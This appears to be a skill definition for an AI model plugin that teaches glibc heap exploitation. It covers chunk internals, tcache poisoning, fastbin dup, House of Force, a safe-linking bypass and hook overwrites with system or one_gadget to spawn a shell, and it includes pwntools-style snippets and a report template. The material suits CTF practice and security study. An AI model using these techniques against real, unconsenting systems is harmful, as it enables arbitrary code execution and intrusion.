| name | Heap Exploitation |
| description | This skill should be used when the user asks to "exploit heap", "heap overflow", "tcache poison", "fastbin attack", "double free", "use after free", "UAF exploit", "house of force", "heap feng shui", "malloc exploit", "free hook", or needs guidance on heap-based memory corruption vulnerabilities. Provides comprehensive heap exploitation techniques for glibc. |
| version | 1.0.0 |
Heap Exploitation
Overview
Heap exploitation targets vulnerabilities in dynamic memory allocation (malloc/free). This skill covers glibc heap internals, common vulnerabilities, and exploitation techniques from basic to advanced.
Prerequisites
- Understanding of C memory management
- GDB with pwndbg (for heap visualization)
- Knowledge of basic binary exploitation
- Familiarity with pwntools
Heap Internals Quick Reference
Chunk Structure
┌──────────────────┐
│ prev_size │ ← Only if previous chunk is free
├──────────────────┤
│ size | AMP │ ← A=allocated, M=mmap, P=prev_inuse
├──────────────────┤
│ user data │ ← Returned by malloc()
│ ... │
└──────────────────┘
Free Chunk (adds fd/bk pointers)
┌──────────────────┐
│ prev_size │
├──────────────────┤
│ size │
├──────────────────┤
│ fd │ ← Forward pointer to next free chunk
├──────────────────┤
│ bk │ ← Back pointer to previous free chunk
├──────────────────┤
│ (fd_nextsize) │ ← Only for large chunks
├──────────────────┤
│ (bk_nextsize) │ ← Only for large chunks
└──────────────────┘
Bin Types
| Bin | Size Range | Behavior | Security |
|---|
| Tcache | 0x20-0x410 | Per-thread LIFO | Minimal (< 2.32) |
| Fastbin | 0x20-0x80 | Global LIFO | Size check only |
| Unsorted | Any | Temporary holding | Some checks |
| Small | < 0x400 | FIFO by size | FIFO checks |
| Large | >= 0x400 | Best fit | Complex checks |
Vulnerability Types
1. Use-After-Free (UAF)
Access freed memory - can leak or corrupt heap metadata.
Detection pattern:
free(ptr);
ptr->field = value;
data = ptr->field;
2. Double Free
Free the same chunk twice - corrupts free lists.
Detection pattern:
free(ptr);
free(ptr);
3. Heap Overflow
Write beyond chunk boundary into adjacent chunks.
Detection pattern:
char *buf = malloc(32);
read(0, buf, 100);
4. Off-by-One/Null
Overflow single byte, often corrupting size field.
Detection pattern:
buf[size] = '\0';
Exploitation Techniques
Technique 1: Tcache Poisoning (glibc 2.26+)
Requirements: UAF write or heap overflow
Process:
- Allocate chunks of same size
- Free to populate tcache
- Overwrite freed chunk's fd pointer
- Allocate twice - second returns target address
free(0)
free(1)
edit(1, p64(target_addr))
alloc(2)
alloc(3)
Safe-Linking Bypass (glibc 2.32+):
chunk_addr = heap_leak + offset
protected_fd = (chunk_addr >> 12) ^ target
edit(1, p64(protected_fd))
Technique 2: Fastbin Dup (glibc < 2.26 or full tcache)
Requirements: Double free capability
Process:
- Free chunk A
- Free chunk B (different chunk)
- Free chunk A again (creates cycle)
- Allocate and write target as fd
- Allocate 3 times - third returns target
free(0)
free(1)
free(0)
alloc(2, p64(target))
alloc(3)
alloc(4)
alloc(5)
Technique 3: Unsorted Bin Leak
Requirements: UAF read, chunk size > tcache (0x410+)
Process:
- Allocate large chunk (> 0x410)
- Allocate guard chunk (prevent top consolidation)
- Free large chunk (goes to unsorted bin)
- Read fd/bk (points to main_arena in libc)
alloc(0, 0x420)
alloc(1, 0x20)
free(0)
leak = read(0)
libc_base = u64(leak) - main_arena_offset - 96
Technique 4: House of Force
Requirements: Heap overflow into top chunk, controlled malloc size
Process:
- Overflow top chunk size to -1 (0xffffffffffffffff)
- Calculate distance to target
- Allocate distance (wraps around)
- Next allocation lands at target
edit(0, b'A' * chunk_size + p64(0xffffffffffffffff))
distance = target_addr - top_chunk_addr - 0x20
alloc(1, distance)
alloc(2, 0x20)
Technique 5: Tcache Struct Corruption
Requirements: Large overflow or arbitrary write primitive
Process:
- Corrupt tcache_perthread_struct
- Set counts to indicate entries exist
- Set entry pointers to target addresses
- Allocate to get arbitrary locations
Common Targets
__malloc_hook (glibc < 2.34)
malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc.address + 0xe3b2e
tcache_poison(malloc_hook)
edit(chunk_at_hook, p64(one_gadget))
alloc(trigger)
__free_hook (glibc < 2.34)
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
tcache_poison(free_hook)
edit(chunk_at_hook, p64(system))
alloc(trigger, b'/bin/sh\x00')
free(trigger)
Modern Targets (glibc 2.34+)
When hooks are removed:
_IO_list_all - File Stream Oriented Programming (FSOP)
- TLS structures -
tcache_perthread_struct
- Stack addresses via
environ
- Function pointers in heap structures
Debugging Heap
pwndbg Commands
heap # Show all chunks
bins # Show all free lists
tcachebins # Tcache entries
fastbins # Fastbin entries
unsortedbin # Unsorted bin
vis_heap_chunks # Visual representation
arena # Main arena info
Useful Breakpoints
b *malloc
b *free
b *__libc_malloc
b *_int_malloc
b *_int_free
Mitigation Timeline
| glibc | Change |
|---|
| 2.26 | Tcache introduced |
| 2.27 | Tcache count checks |
| 2.29 | Tcache key field (double-free detection) |
| 2.32 | Safe-linking (fd pointer obfuscation) |
| 2.34 | Hooks removed (__malloc_hook, etc.) |
Output Format
## Heap Exploitation
### Vulnerability Identified
- Type: Tcache poisoning via UAF
- Chunk size: 0x30
- Primitive: Arbitrary write
### Exploitation Strategy
1. Leak heap base via UAF read
2. Leak libc via unsorted bin
3. Tcache poison to __free_hook
4. Overwrite with system
5. Free chunk containing "/bin/sh"
### Key Addresses
- heap base: 0x555555559000
- libc base: 0x7f1234567000
- __free_hook: 0x7f1234789000
- system: 0x7f1234600000
### Payload
[See exploit.py]
### Result
- Shell obtained as expected user
Additional Resources
Templates
${CLAUDE_PLUGIN_ROOT}/templates/heap-basic.py - Basic heap exploitation template
References
references/tcache-internals.md - Detailed tcache structure
references/house-techniques.md - House of X techniques
references/heap-mitigations.md - Bypass techniques for each mitigation